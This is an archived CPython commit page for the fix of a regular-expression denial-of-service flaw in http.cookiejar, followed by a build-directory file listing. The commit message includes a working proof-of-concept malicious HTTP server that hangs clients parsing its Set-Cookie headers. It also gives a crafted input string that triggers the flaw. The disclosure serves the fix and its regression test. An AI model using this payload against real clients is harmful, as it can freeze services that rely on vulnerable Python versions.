Staging
v0.5.1
v0.5.1
https://github.com/python/cpython
Revision 55a6a16a46239a71b635584e532feb8b17ae7fdf authored by Victor Stinner on 03 April 2020, 01:37:32 UTC, committed by GitHub on 03 April 2020, 01:37:32 UTC
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular expression denial of service (REDoS). LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar to parse Set-Cookie headers returned by a server. Processing a response from a malicious HTTP server can lead to extreme CPU usage and execution will be blocked for a long time. The regex contained multiple overlapping \s* capture groups. Ignoring the ?-optional capture groups the regex could be simplified to \d+-\w+-\d+(\s*\s*\s*)$ Therefore, a long sequence of spaces can trigger bad performance. Matching a malicious string such as LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!") caused catastrophic backtracking. The fix removes ambiguity about which \s* should match a particular space. You can create a malicious server which responds with Set-Cookie headers to attack all python programs which access it e.g. from http.server import BaseHTTPRequestHandler, HTTPServer def make_set_cookie_value(n_spaces): spaces = " " * n_spaces expiry = f"1-c-1{spaces}!" return f"b;Expires={expiry}" class Handler(BaseHTTPRequestHandler): def do_GET(self): self.log_request(204) self.send_response_only(204) # Don't bother sending Server and Date n_spaces = ( int(self.path[1:]) # Can GET e.g. /100 to test shorter sequences if len(self.path) > 1 else 65506 # Max header line length 65536 ) value = make_set_cookie_value(n_spaces) for i in range(99): # Not necessary, but we can have up to 100 header lines self.send_header("Set-Cookie", value) self.end_headers() if __name__ == "__main__": HTTPServer(("", 44020), Handler).serve_forever() This server returns 99 Set-Cookie headers. Each has 65506 spaces. Extracting the cookies will pretty much never complete. Vulnerable client using the example at the bottom of https://docs.python.org/3/library/http.cookiejar.html : import http.cookiejar, urllib.request cj = http.cookiejar.CookieJar() opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) r = opener.open("http://localhost:44020/") The popular requests library was also vulnerable without any additional options (as it uses http.cookiejar by default): import requests requests.get("http://localhost:44020/") * Regression test for http.cookiejar REDoS If we regress, this test will take a very long time. * Improve performance of http.cookiejar.ISO_DATE_RE A string like "444444" + (" " * 2000) + "A" could cause poor performance due to the 2 overlapping \s* groups, although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was. (cherry picked from commit 1b779bfb8593739b11cbb988ef82a883ec9d077e) Co-authored-by: bcaller <bcaller@users.noreply.github.com>
1 parent ed07522
Tip revision: 55a6a16a46239a71b635584e532feb8b17ae7fdf authored by Victor Stinner on 03 April 2020, 01:37:32 UTC
bpo-38804: Fix REDoS in http.cookiejar (GH-17157) (#17344)
bpo-38804: Fix REDoS in http.cookiejar (GH-17157) (#17344)
Tip revision: 55a6a16
File | Mode | Size |
---|---|---|
_bz2.vcxproj | -rw-r--r-- | 3.9 KB |
_bz2.vcxproj.filters | -rw-r--r-- | 1.7 KB |
_ctypes.vcxproj | -rw-r--r-- | 4.7 KB |
_ctypes.vcxproj.filters | -rw-r--r-- | 2.3 KB |
_ctypes_test.vcxproj | -rw-r--r-- | 3.1 KB |
_ctypes_test.vcxproj.filters | -rw-r--r-- | 718 bytes |
_decimal.vcxproj | -rw-r--r-- | 6.0 KB |
_decimal.vcxproj.filters | -rw-r--r-- | 4.3 KB |
_elementtree.vcxproj | -rw-r--r-- | 4.4 KB |
_elementtree.vcxproj.filters | -rw-r--r-- | 2.7 KB |
_freeze_importlib.vcxproj | -rw-r--r-- | 4.8 KB |
_freeze_importlib.vcxproj.filters | -rw-r--r-- | 1.1 KB |
_hashlib.vcxproj | -rw-r--r-- | 3.8 KB |
_hashlib.vcxproj.filters | -rw-r--r-- | 436 bytes |
_lzma.vcxproj | -rw-r--r-- | 3.7 KB |
_lzma.vcxproj.filters | -rw-r--r-- | 435 bytes |
_msi.vcxproj | -rw-r--r-- | 3.2 KB |
_msi.vcxproj.filters | -rw-r--r-- | 423 bytes |
_multiprocessing.vcxproj | -rw-r--r-- | 3.4 KB |
_multiprocessing.vcxproj.filters | -rw-r--r-- | 861 bytes |
_overlapped.vcxproj | -rw-r--r-- | 3.2 KB |
_overlapped.vcxproj.filters | -rw-r--r-- | 434 bytes |
_socket.vcxproj | -rw-r--r-- | 3.3 KB |
_socket.vcxproj.filters | -rw-r--r-- | 702 bytes |
_sqlite3.vcxproj | -rw-r--r-- | 4.5 KB |
_sqlite3.vcxproj.filters | -rw-r--r-- | 2.4 KB |
_ssl.vcxproj | -rw-r--r-- | 3.9 KB |
_ssl.vcxproj.filters | -rw-r--r-- | 428 bytes |
_testbuffer.vcxproj | -rw-r--r-- | 3.1 KB |
_testbuffer.vcxproj.filters | -rw-r--r-- | 435 bytes |
_testcapi.vcxproj | -rw-r--r-- | 3.1 KB |
_testcapi.vcxproj.filters | -rw-r--r-- | 439 bytes |
_testembed.vcxproj | -rw-r--r-- | 3.1 KB |
_testembed.vcxproj.filters | -rw-r--r-- | 948 bytes |
_testimportmultiple.vcxproj | -rw-r--r-- | 3.2 KB |
_testimportmultiple.vcxproj.filters | -rw-r--r-- | 444 bytes |
_testmultiphase.vcxproj | -rw-r--r-- | 3.2 KB |
_testmultiphase.vcxproj.filters | -rw-r--r-- | 952 bytes |
_tkinter.vcxproj | -rw-r--r-- | 3.9 KB |
_tkinter.vcxproj.filters | -rw-r--r-- | 534 bytes |
build.bat | -rw-r--r-- | 5.4 KB |
build_env.bat | -rw-r--r-- | 25 bytes |
build_pgo.bat | -rw-r--r-- | 140 bytes |
clean.bat | -rw-r--r-- | 126 bytes |
env.bat | -rw-r--r-- | 712 bytes |
field3.py | -rw-r--r-- | 974 bytes |
find_msbuild.bat | -rw-r--r-- | 2.3 KB |
get_externals.bat | -rw-r--r-- | 2.8 KB |
idle.bat | -rw-r--r-- | 296 bytes |
libeay.vcxproj | -rw-r--r-- | 45.3 KB |
openssl.props | -rw-r--r-- | 3.5 KB |
pcbuild.proj | -rw-r--r-- | 5.5 KB |
pcbuild.sln | -rw-r--r-- | 53.3 KB |
prepare_ssl.bat | -rw-r--r-- | 269 bytes |
prepare_ssl.py | -rw-r--r-- | 6.3 KB |
pyexpat.vcxproj | -rw-r--r-- | 3.6 KB |
pyexpat.vcxproj.filters | -rw-r--r-- | 1.3 KB |
pylauncher.vcxproj | -rw-r--r-- | 3.2 KB |
pylauncher.vcxproj.filters | -rw-r--r-- | 1.2 KB |
pyproject.props | -rw-r--r-- | 9.3 KB |
pyshellext.vcxproj | -rw-r--r-- | 3.4 KB |
pyshellext.vcxproj.filters | -rw-r--r-- | 1.4 KB |
python.props | -rw-r--r-- | 10.5 KB |
python.vcxproj | -rw-r--r-- | 4.9 KB |
python.vcxproj.filters | -rw-r--r-- | 824 bytes |
python3dll.vcxproj | -rw-r--r-- | 5.8 KB |
python3dll.vcxproj.filters | -rw-r--r-- | 1.2 KB |
pythoncore.vcxproj | -rw-r--r-- | 21.1 KB |
pythoncore.vcxproj.filters | -rw-r--r-- | 31.7 KB |
pythonw.vcxproj | -rw-r--r-- | 3.0 KB |
pythonw.vcxproj.filters | -rw-r--r-- | 702 bytes |
pywlauncher.vcxproj | -rw-r--r-- | 3.2 KB |
pywlauncher.vcxproj.filters | -rw-r--r-- | 1.2 KB |
readme.txt | -rw-r--r-- | 11.9 KB |
rmpyc.py | -rw-r--r-- | 409 bytes |
rt.bat | -rw-r--r-- | 1.9 KB |
select.vcxproj | -rw-r--r-- | 3.2 KB |
select.vcxproj.filters | -rw-r--r-- | 436 bytes |
sqlite3.vcxproj | -rw-r--r-- | 4.0 KB |
sqlite3.vcxproj.filters | -rw-r--r-- | 804 bytes |
ssleay.vcxproj | -rw-r--r-- | 4.8 KB |
tcl.vcxproj | -rw-r--r-- | 3.5 KB |
tcltk.props | -rw-r--r-- | 3.1 KB |
tix.vcxproj | -rw-r--r-- | 3.5 KB |
tk.vcxproj | -rw-r--r-- | 3.7 KB |
unicodedata.vcxproj | -rw-r--r-- | 3.2 KB |
unicodedata.vcxproj.filters | -rw-r--r-- | 810 bytes |
winsound.vcxproj | -rw-r--r-- | 3.1 KB |
winsound.vcxproj.filters | -rw-r--r-- | 500 bytes |
xxlimited.vcxproj | -rw-r--r-- | 3.2 KB |
xxlimited.vcxproj.filters | -rw-r--r-- | 433 bytes |
![swh spinner](/static/img/swh-spinner.gif)
Computing file changes ...